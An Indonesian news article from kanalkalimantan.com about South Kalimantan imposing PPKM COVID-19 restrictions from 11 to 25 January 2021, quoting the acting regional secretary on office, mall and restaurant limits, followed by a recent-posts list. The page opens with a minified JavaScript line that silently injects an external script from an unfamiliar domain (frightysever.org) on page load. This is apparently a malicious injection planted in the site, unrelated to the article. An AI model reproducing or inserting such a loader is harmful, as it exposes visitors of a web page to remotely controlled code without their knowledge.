(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

BREAKING NEWS. Tarik Rem Darurat, Kalsel Segera Menerapkan PPKM!


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) resmi menarik ‘rem darurat’ Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM). Rencananya, PPKM akan diberlakukan sejak tanggal 11 hingga 25 Januari mendatang.

“Ya, seluruh kabupaten kota di Kalsel akan memberlakukan PPKM,” kata Penjabat (Pj) Sekretaris Daerah (Sekda) Provinsi Kalsel, Roy Rizali Anwar, Minggu (9/1/2021).

Keputusan PPKM sendiri telah melalui pertimbangan dan pembahasan dalam rapat koordinasi Satuan Tugas (Satgas) Covid-19 dan Pemprov Kalsel, pada Sabtu (8/1/2021) kemarin.

Perlu diketahui, PPKM mengilhami skema yang tak jauh berbeda dengan PSBB atau Pembatasan Sosial Berskala Besar. Pemerintah mengenalkan istilah PPKM sebagai upaya menekan laju transmisi virus corona di tengah ancaman lonjakan kasus pasca-libur panjang natal dan tahun baru.

 

Awalnya, pembatasan mobilitas masyarakat itu berlaku pada 11-25 Januari khusus untuk wilayah Jawa-Bali. Namun dalam Instruksi Mentri Dalam Negeri, seluruh kepala daerah berhak mengajukan PPKM jika dirasa perlu menimbang situasi penyebaran kasus.

Lantaran keputusan PPKM ini terbilang cukup dadakan, Roy mengatakan bahwa pihaknya akan secara masif berkomunikasi kepada publik. Adapun PPKM di Kalsel, terangnya akan mengikuti intruksi dari pemerintah pusat.

“Sesuai instruksi mendagri untuk perkantoran hanya 25% dan 75% sisanya bekerja dari rumah, untuk mall buka sampai 19.00 Wita, kemudian terkait dengan restoran atau rumah makan hanya 25% kapasitasnya dan dimaksimalkan hanya untuk take away atau dibawa pulang. Sedangkan untuk tempat-tempat pengajian pun akan disesuaikan nanti, apakah dilaksanakan dengan virtual daring,” ujar Roy.

Selain itu, Roy menambahkan bahwa saat ini perlu adanya ketegasan dan kesepakatan bersama untuk melakukan PPKM di seluruh kabupaten/kota di Kalsel. Dalam hal ini ia berjanji bahwa Pemprov Kalsel akan turut terlibat membantu pemerintah kabupaten kota dalam menyukseskan PPKM.

“Nantinya kita juga akan upayakan membantu, tidak sekedar melarang atau menutup, namun memberikan solusi seperti memfasilitasi secara virtual atau melakukan rapid tes antigen sebelum melaksanakan kegiatan yang berpotensi menimbulkan kerumunan agar kita bisa mengetahui dan menemukan siapa saja yang berpotensi menularkan dan kita bisa menekan dan melakukan antisipsi,” jelasnya.

“PPKM ini akan kita berlakukan secara ketat dan tegas dari tanggal 11 sampai 25 Januari 2021 mendatang dan semoga masyarakat kita bisa menerima dan melaksanakannya,” tandas Roy. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie

Al Ghifari

Recent Posts

Tongkat Komando Polres Banjarbaru Resmi Dipegang AKBP Pius X Febry Aceng Loda

KANALKALIMANTAN.COM, BANJARBARU – Tongkat kepemimpinan tertinggi Kepala Kepolisian Resor (Polres) Banjarbaru secara resmi dipegang AKBP… Read More

11 jam ago

KPK Siapkan 20 Saksi Sidang Suap Proyek PUPR Kalsel

Paman Birin Belum Ada Dalam List Saksi KPK Read More

12 jam ago

BRI Multicurrency dan BRImo Memberikan Kemudahan dan Kenyamanan Bertransaksi saat liburan!

KANALKALIMANTAN.COM - Liburan panjang akhir bulan jadi momen yang dinanti-nantikan oleh banyak orang. Saat itu,… Read More

15 jam ago

Respon Hakim MK Terkait Dalil Permohonan Denny Cs di Sidang Gugatan

Hanya Perlu 1 Suara untuk Menang pada Pilwali Banjarbaru 2024 Read More

19 jam ago

Dishub dan Organda Tak Bersepakat, APG Banjarbaru Jadinya Setop Operasi

KANALKALIMANTAN.COM, BANJARBARU - Belum beroperasi Angkutan Pelajar Gratis (APG) di sejumlah sekolah di Banjarbaru di… Read More

22 jam ago

Empat Pemohon Gugatan Pilwali Banjarbaru di MK

KANALKALIMANTAN.COM, JAKARTA - Empat buah gugatan dibacakan langsung dalam sidang sengketa hasil Pemilihan Wali Kota… Read More

24 jam ago

This website uses cookies.